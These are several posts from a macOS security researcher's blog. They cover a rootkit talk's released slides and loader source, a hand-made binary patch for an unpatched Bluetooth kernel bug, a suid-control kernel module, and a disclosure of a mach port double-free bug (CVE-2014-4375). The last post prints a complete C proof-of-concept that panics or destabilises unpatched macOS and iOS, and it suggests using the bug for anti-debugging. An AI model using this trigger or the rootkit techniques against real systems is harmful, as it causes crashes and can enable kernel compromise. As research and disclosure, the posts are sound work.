BadXNU, a rotten apple! – CodeBlue 2014, SyScan 2015 slides and source code

The last SyScan is almost here so it’s time to get again into a plane and travel to Singapore.
This means that the slides and source code can finally be released. Below you can find the archive with both presentations slides (they are slightly different, SyScan fixes/upgrades a few things) and full source code for both rootkit/kext loaders.

I hope you enjoy them; they are quite fun techniques, in particular the second one which now I sort of regret to disclose because it’s so cool.
I’ve also written a book chapter about both techniques (53 pages before editing) which add a few more tricks. I’m working on the book so hopefully it will finally come out this year.

The archive password will be released on the day of my presentation (27th March) so keep an eye on Twitter and SyScan website. If you crack it before that keep its contents private ;-).

If you are at SyScan feel free to have a chat. I’m there to meet new people and also learn.

Hope you enjoy,
fG!

Archive:
https://reverse.put.as/wp-content/uploads/2015/03/syscan_pack.rar
Dropbox Mirror:
https://www.dropbox.com/s/68j5nja80cxxova/syscan_pack.rar?dl=0

https is now (finally) supported!

Hummm this is something that I should have done a long time ago but was always too lazy since there’s not highly critical information here (except some hashes and my PGP key/id).

Anyway, you can finally access the blog over https://reverse.put.as.
I still need to understand if there’s any impact on Google search stuff by moving it to https only.

Better late then never. Oh and fuck you David Cameron and your stupid populist ideas ;-).

Have fun,
fG!

Happy New Year!

A few days late but, Happy New Year!
2014 is gone and it was an interesting year. Learnt quite a few new things in different areas, created tons of code, and got a couple of very interesting ideas to explore in 2015.

It also ended in a great way with a visit to CodeBlue to present BadXNU, a rotten apple.
If there’s city and country I always wanted to visit, those were Tokyo and Japan. My (unusual) quite high expectations were matched by a very interesting mega city. I was quite surprised with its efficiency for such a gigantic town. And because I don’t speak Japanese I loved every “lost in translation” moment, where shop attendants kept speaking in Japanase. I don’t know, I just love small things :-). Definitely can’t wait to get back to Tokyo and keep discovering the city; there are too many things to see, and still missing the rest of Japan. Phewwww!

CodeBlue definitely shattered my expectations. It was impecably organized (many thanks to Kana, Kentaro, Tessy, and everyone else for their amazing work and effort), was packed on both days (!), had a curious and motivated audience (at least that was my feeling), and a great program. Definitely highly recommended if you want to attend or speak there.

Unfortunately you will have to wait for SyScan 2015 for the slides and source code. I always like to release everything as soon as possible but this time it’s special so please allow me the exception. I guess it will be worth the wait ;-).

2015 is starting with extremely motivated work on the OS X Rootkits book. Due to many reasons the project was stopped but I finally got the time and focus to resume work and make it a reality, together with my co-authors nemo and snare. I really hope it will be worth the wait, we are going to do our best. So keep an eye for it.

Last but not least, I’m linking to the SyScan 360 slides. I forgot to write a post about SyScan360 and link those slides. The slide count is a bit bigger than the ShakaCon set (I can’t remember the differences now but I probably tuned some details and added a few things).

SyScan 360 – Fuck You Hacking Team

Hope you have a great year and stay healthy.
Have fun,
fG!

Patching what Apple doesn’t want to or how to make your “old” OS X versions a bit safer

Today a local privilege escalation vulnerability was disclosed in this blog post. It describes a vulnerability in IOBluetoothFamily kernel extension (IOKit is a never-ending hole of security vulnerabilities…).

Mavericks and most probably all previous versions are vulnerable but not Yosemite.
The reason for this is that Apple silently patched the bug in Yosemite.
This is not a new practice, where Apple patches bugs in the latest and newly released OS X version and doesn’t care about older versions. Mavericks 10.9.5 update was released more or less around Yosemite date and this doesn’t look like a last minute bug found (although I’m going to confirm this). I bet that the bugs disclosed at SyScan 2013 by Stefan Esser still aren’t patched in Mountain Lion.

The blog post authors seem to experience the same “we don’t care attitude”. Their conclusions state:
“We contacted Apple on October 20th, 2014, asking for their intention to back-port the security fix to OS X Mavericks. Unfortunately, we got no reply, so we decided to publicly disclose the details of this vulnerability: Yosemite has now been released since a while and is available for free for Apple customers; thus, we don’t think the public disclosure of this bug could endanger end-users.”

The patch is very simple with only two instructions. With some luck we can patch it ourselves. What we need is a bit of unused space for installing the patch instructions. The mach-o header is usually a good place in userland but in kernel extensions you get a no execute (NX) kernel panic. They are also not wired memory so it’s not a good place to install a patch. We are left with alignment space.
If you search there are quite a few places with 15 alignment bytes (tip: load the driver into IDA, do a text search for align or a byte search for 90 90 90). That’s good enough for our patching, and we will need two of those islands since my proposed patch is 19 bytes long.

The two patch instructions are:
test ecx,ecx
js location

To install the patch we need to replace the first original instruction with a jump to the first island. Then we restore the original instruction and add the new patch instructions. We need to use a second island because the first doesn’t have enough space for this.
The new code should be something like this:
original_address:
jmp first_island
nop
remaining original_instructions
(…)
first_island:
jge location (original instruction)
test ecx,ecx (patch instruction)
jmp second_island
second_island:
js location (patch instruction)
jmp next_original_instruction

For Mavericks 10.9.5 you want to patch the following file /System/Library/Extensions/IOBluetoothFamily.kext/Contents/MacOS/IOBluetoothFamily.

Use the following file offsets and bytes:
Original instructions:
0x2855C: E9 B0 F7 FF FF 90
First island:
0x27D11: 0F 8D 43 0B 00 00
0x27D17: 85 C9
0x27D19: E9 23 2E 00 00
Second island:
0x2AB41: 0F 88 13 DD FF FF
0x2AB47: E9 16 DA FF FF

Save file, copy back to the original location, touch /System/Library/Extensions and reboot :-). Most probably this patch can be improved and reduced in size using smaller jump offsets if nearer islands are available. I didn’t bother to check.

Now go write to Apple and ask them to issue a proper patch. This total crap security policy must come to an end. Just in case you are wondering if this is an isolated case, check this Google Zero blog post. Two bugs that remain unpatched on OS X ;-).

Oh, this will break the code signature but in Mavericks that’s just a warning and not a fatal error. You can resign with a developer kext certificate if you have one.

Have fun,
fG!

P.S.: Another fine example of this crap security policy is that Apple fixed a few integer overflows in C++ code of libkern in Yosemite but didn’t bother to backport to Mavericks 10.9.5.  This is just insane…

Can I SUID: a TrustedBSD policy module to control suid binaries execution

Let me present you another TrustedBSD policy module, this time to control execution of suid enabled binaries.
The idea to create this started with nemo’s exploitation of bash’s shellshock bug and VMWare  Fusion. It was an easy local privilege escalation because there are many Fusion suid enabled binaries. This got me thinking that I want to know when this kind of binaries are executed and if possible control access to them. For the first part you don’t really need this module because the audit features available in OS X can give you this information. I’m more interested in having decision power over what is executed. Or it’s just another nice example of how TrustedBSD is so interesting and powerful and why it’s annoying that Apple is closing KPI access to it (latest SDK warnings say it was never meant to be a KPI).

There are two parts to this. The first is the kernel driver that detects execution, controls access, and notifies userland. The second is a small userland application that receives the kernel notifications, asks the user for a decision, and sends back the answer to the kernel.
The execution is blocked until a decision is made or a timeout is reached (default is 5 seconds, you probably want to increase this value).

To avoid any deadlocks all binaries before userland application is connected are authorized. When the userland finally connects it receives a list (displayed as user notifications) of all the suid binaries that executed during the boot process (from my tests this is zero in Mavericks).

Because of the changing nature of TrustedBSD started in Mavericks, this code only works with Mavericks as it is. If you want to make it work in Mountain Lion or Yosemite, you need to change the hook prototype and compile it with the correspondent SDK.

The userland application needs some work due to my crap Cocoa skills :-). The kernel extension has a few points that need a decision (what to do in error cases mostly), authentication of the userland process (it’s not hard to do), and probably more process information.

A friendly tip: The kernel control interface is used for userland/kernel communication. Because the volume of data exchanged is very low it’s ok for this. If you are thinking about using this  interface for high volumes forget about it. It has some weird bug where it starts losing data and not able to keep throughtput (error 55 is what you start to experience).

Source available at Github, https://github.com/gdbinit/can_I_suid.

Have fun,
fG!

The double free mach port bug: The short story of a dead 0day

The iOS 8 security update bulletin has many fixed bugs, one of which is this one “A double free issue existed in the handling of Mach ports. This issue was addressed through improved validation of Mach ports. CVE-2014-4375 : an anonymous researcher”.

Well, I’ve known this bug for a while and it was insanely fun as anti-debugging measure because of its random effects when triggered. For example, sometimes you get an immediate kernel panic, others nothing happens, and most of the time you get weird cpu spikes not attributed to any process, or system lock ups after a while. This used as anti-debugging measure is extremely fun because the attacker will suffer from totally random events and the bug is easy to hide in plain sight.

The following sample code will trigger it:

#include <CoreFoundation/CoreFoundation.h>
#include <mach/host_priv.h>
#include <mach/mach.h>
#include <mach/host_special_ports.h>

static mach_port_t service;     /* our own service port */

int main(int argc, const char * argv[])
{
    kern_return_t kr = 0;
    /* create the negotiation server service port */
    kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &service);
    if (kr != KERN_SUCCESS)
    {
        printf("Failed to allocate port: %s\n", mach_error_string(kr));
        exit(1);
    }
    /* host_set_special_port requires a send right */
    kr = mach_port_insert_right(mach_task_self(), service, service, MACH_MSG_TYPE_MAKE_SEND);
    if (kr != KERN_SUCCESS)
    {
        printf("Failed to mach_port_insert_right: %s\n", mach_error_string(kr));
        exit(1);
    }
    mach_port_t host_port;
    /* get host port so we can do the host_set_special_port */
    if ((host_port = mach_host_self()) == MACH_PORT_NULL)
    {
        printf ("mach_host_self() returned MACH_PORT_NULL\n");
        exit(1);
    }
    kr = host_set_special_port (host_port, // invalid port being passed
                                HOST_UNFREED_PORT,
                                service);
    if (kr != KERN_SUCCESS)
    {
        printf ("Can't check in with server\n");
        /* we should crash here */
        exit(1);
    }
    CFShow(CFSTR("Hello, World!\n"));
    return 0;
}

Start Activity Monitor and load the binary once or twice in a Terminal window. You should immediately observe the effects. In iOS it results in immediate kernel panic and reboot.

This bug is fixed on Yosemite DP4 or later, and iOS 8. All other versions are still vulnerable. For example Mavericks 10.9.5 was released just after iOS 8 and the bug is still unfixed. A common practice from Apple if we take in account that bugs disclosed at SyScan 2013 are still unfixed in Mountain Lion. The Apple motto seems to be: Use the latest version or be vulnerable (aka fuck off!).
The impact attributed by Apple to this one: “Impact: A local user may be able to cause an unexpected system termination or arbitrary code execution in the kernel”. Take your own conclusions ;-).

Have fun,
fG!